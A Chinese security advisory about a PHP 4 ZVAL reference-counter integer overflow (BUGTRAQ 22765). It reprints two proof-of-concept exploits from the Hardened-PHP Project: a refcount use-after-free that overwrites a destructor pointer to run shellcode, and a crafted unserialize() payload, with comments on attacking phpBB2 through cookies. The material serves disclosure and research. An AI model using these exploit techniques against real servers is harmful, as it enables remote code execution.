首页 -> 安全研究

安全研究

安全漏洞
PHP ZVAL引用计数器整数溢出漏洞

发布日期:2007-03-01
更新日期:2007-03-06

受影响系统:
PHP PHP 4
描述:
BUGTRAQ  ID: 22765

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的ZVAL结构中引用计数实现上存在整数溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

在PHP 4中内部描述变量的ZVAL结构类似于:

struct _zval_struct {
        /* Variable information */
        zvalue_value value;     /* value */
        zend_uchar type;        /* active type */
        zend_uchar is_ref;
        zend_ushort refcount;
};

在设计这个结构时引用计数器为16位宽,这样在32位系统上整个结构为8个字节长;在PHP 5中这个字段为32位宽,因为16位太容易溢出,PHP对引用计数器的溢出也没有内部的防范措施。但对于PHP 4这意味着以下代码会溢出计数器,在脚本端触发变量的双重释放:

  $var = "POC";
  for ($i = 0; $i < 0x10001; $i++) {
    $arr[] = &$var;
  }

攻击者可以利用这个漏洞破坏内存,可能执行任意指令,从而绕过disable_functions之类的安全限制。

此外由于很多老版本PHP应用程序仍对用户提供的数据使用unserialize(),因此也可能远程触发这个漏洞。Unserialize()函数以不安全的方式使用已还原序列化的__wakeup()方式,可能导致远程执行任意指令。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://www.php-security.org/MOPB/MOPB-01-2007.html
        http://secunia.com/advisories/24356/
        http://www.php-security.org/MOPB/MOPB-04-2007.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //               PHP 4 - ZVAL Reference Counter Overflow              //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // You can put in any shellcode you want. Just make sure that the
  // shellcode string is long enough to not end up in PHP's internal
  // memory cache

  $shellcode = str_repeat(chr(0xcc), 500);

  // The basic idea of this exploit is:
  //  1) Create a string that has the same size as a Hashtable
  //  2) Create 65536 references to it to overflow the refcount
  //  3) Free one of these references
  //      => Refcount drops down to 0
  //      => String gets freed
  //  4) Free some more zvals
  //  5) Create a new array with one element
  //      => Put shellcode in the key
  //      => Hashtable struct will be in the same place as the string
  //  6) Use string to directly access the content of the Hashtable
  //      => Read pointer to first bucket
  //      => Add 32 bytes, offset to array key
  //      => Write pointer to the destructor field
  //  7) Unset array => Executes code in $shellcode
  
  ////////////////////////////////////////////////////////////////////////
  // If you touch anything below this line you have to debug it yourself
  ////////////////////////////////////////////////////////////////////////

  $________________________str = str_repeat("A", 39);
  $________________________yyy = &$________________________str;
  $________________________xxx = &$________________________str;
  for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
  $________________________aaa = "   XXXXX   ";
  $________________________aab = " XXXx.xXXX ";
  $________________________aac = " XXXx.xXXX ";
  $________________________aad = "   XXXXX   ";
  unset($________________________xxx);
  unset($________________________aaa);
  unset($________________________aab);
  unset($________________________aac);
  unset($________________________aad);
  $arr = array($shellcode => 1);

  $addr = unpack("L", substr($________________________str, 6*4, 4));
  $addr = $addr[1] + 32;
  $addr = pack("L", $addr);

  for ($i=0; $i<strlen($addr); $i++) {
    $________________________str[8*4+$i] = $addr[$i];
    $________________________yyy[8*4+$i] = $addr[$i];
  }
  unset($arr);

?>

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //           PHP 4 - unserialize() Reference Counter Overflow         //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");
  
  // This exploit is only designed for linux x86 systems
  // where 0x08064058 is a readable address in the PHP process
  // (should be unless binary images are relocated default systems)
  //
  // The exploit does nothing useful. It just proves that the CPU
  // will try to execute the instruction at 0x99887766 which results
  // in a crash. Just replace it with a pointer to your shellcode and
  // it will work.
  //
  // To exploit phpBB2 with this you need to put a similar string
  // into the cookie. You must work around the size limit of HTTP
  // headers by using MANY Cookie: headers (not folded lines, real
  // headers). Additionally you must put at the end of ever line
  // a line terminator s:2:" and start every following line with
  // ";N; of course with URL encoded ';'

  $hashtable = str_repeat("A", 39);
  
  $hashtable[5*4+0]=chr(0x58);
  $hashtable[5*4+1]=chr(0x40);
  $hashtable[5*4+2]=chr(0x06);
  $hashtable[5*4+3]=chr(0x08);
  
  $hashtable[8*4+0]=chr(0x66);
  $hashtable[8*4+1]=chr(0x77);
  $hashtable[8*4+2]=chr(0x88);
  $hashtable[8*4+3]=chr(0x99);

  $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
  for ($i=0; $i<65535; $i++) {
    $str .= 'i:0;R:2;';
  }
  $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';

  unserialize($str);

?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:3342
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障